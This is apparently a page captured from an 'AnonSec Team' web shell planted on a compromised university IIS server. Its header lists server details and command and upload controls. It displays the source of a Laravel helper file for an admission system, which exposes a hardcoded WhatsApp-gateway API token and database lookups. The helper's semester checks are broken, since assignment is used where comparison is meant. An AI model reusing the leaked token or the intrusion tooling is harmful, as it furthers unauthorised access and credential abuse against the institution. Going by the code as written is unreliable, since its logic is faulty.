AnonSec Team
Server IP : 103.11.96.170  /  Your IP : 18.219.83.70
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
User : elibrary.unsap.ac.id ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  D:/localhost/dev_admission/app/Helpers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : D:/localhost/dev_admission/app/Helpers/AkademikHelpers.php
<?php

namespace App\Helpers;

use Carbon\Carbon;
use App\Models\KelasKuliah;
use Illuminate\Support\Facades\DB;

class AkademikHelpers {
    public static function kirimWA($phone,$message)
    {
        $token = "mrBwWG5RDMeCtnK88fkJPY6AEodcYwdTttjgJju1FV5G9jNhLQ";
                                
        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_URL => 'https://app.ruangwa.id/api/send_message',
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => '',
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 0,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => 'POST',
            CURLOPT_POSTFIELDS => 'token='.$token.'&number='.$phone.'&message='.$message,
            ));
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
            
    }

    public static function kirimWAButton($phone)
    {
        $token = "mrBwWG5RDMeCtnK88fkJPY6AEodcYwdTttjgJju1FV5G9jNhLQ";
        $text= "Testing kirim button";
        $buttonlabel= "Google,Facebook";
        $buttonurl= "https://www.google.com,https://www.facebook.com";

        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_URL => 'https://app.ruangwa.id/api/send_buttonurl',
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => '',
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 0,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => 'POST',
            CURLOPT_POSTFIELDS => 'token='.$token.'&number='.$phone.'&text='.$text.'&buttonlabel='.$buttonlabel.'&buttonurl='.$buttonurl,
            CURLOPT_HTTPHEADER => array(
                    'Content-Type: application/x-www-form-urlencoded'
                ),
        ));
            $response = curl_exec($curl);
            curl_close($curl);
                                
        
            return $response;
            
    }
    public static function getSemester()
    {
        $variabel=substr(env('SMT'), -1);
        if ($variabel='1')
        {
        $semester='Ganjil';
        }else if ($variabel='2')
        {
        $semester='Genap';
        }else {
        $semester='Pendek';
        }
        $tahun=substr(env('SMT'),0,4);
        return 'Tahun '. $tahun . ' Semester : '. $semester;
    }

    public static function gotSemester($id)
    {
        $variabel=substr($id, -1);
        if ($variabel='1')
        {
        $semester='Ganjil';
        }else if ($variabel='2')
        {
        $semester='Genap';
        }else {
        $semester='Pendek';
        }
        $tahun=(int) substr($id,0,4);
        return $tahun . '/'. $tahun + 1 .' Semester - '. $semester;
    }

    public static function getFakultas($kode)
    {
        $fakultas=DB::table('pe3_prodi')
        ->where('config','=',$kode)
        ->first();
        if (is_null($fakultas))
        {
            return 'Fakultas tidak ditemukan';
        }else
        {
            return $fakultas->kode_fakultas;
        }
        
    }

    public static function getUser($kode)
    {
        $fakultas=DB::table('users')
        ->where('id','=',$kode)
        ->first();
        if (is_null($fakultas))
        {
            return 'ONLINE';
        }else
        {
            return $fakultas->name;
        }
        
    }

    public static function getFakultasNama($kode)
    {
        $fakultas=DB::table('pe3_fakultas')
        ->where('kode_fakultas','=',$kode)
        ->first();
        return $fakultas->nama_fakultas;
    }

    public static function getSekolahKab($kode)
    {
        $fakultas=DB::table('sekolah')
        ->where('sekolah','like','%'.$kode.'%')
        ->first();
        return $fakultas->kabupaten_kota;
    }

    public static function public_path($path = null)
    {
        return rtrim(app()->basePath('public/' . $path), '/');
    }
    public static function exported_path($folder='/')
    {
        return app()->basePath("public/exported$folder");
    }

    public static function tanggal($format, $date=null) {
        Carbon::setLocale(app()->getLocale());
        if ($date == null){
            $tanggal=Carbon::parse(Carbon::now())->format($format);
        }else{
            $tanggal = Carbon::parse($date)->format($format);
        }
        $result = str_replace([
                                'Sunday',
                                'Monday',
                                'Tuesday',
                                'Wednesday',
                                'Thursday',
                                'Friday',
                                'Saturday'
                            ],
                            [
                                'Minggu',
                                'Senin',
                                'Selasa',
                                'Rabu',
                                'Kamis',
                                'Jumat',
                                'Sabtu'
                            ],
                            $tanggal);

        return str_replace([
                            'January',
                            'February',
                            'March',
                            'April',
                            'May',
                            'June',
                            'July',
                            'August',
                            'September',
                            'October',
                            'November' ,
                            'December'
                        ],
                        [
                            'Januari',
                            'Februari',
                            'Maret',
                            'April',
                            'Mei',
                            'Juni',
                            'Juli',
                            'Agustus',
                            'September',
                            'Oktober',
                            'November',
                            'Desember'
                        ], $result);
    }  


}

AnonSec - 2021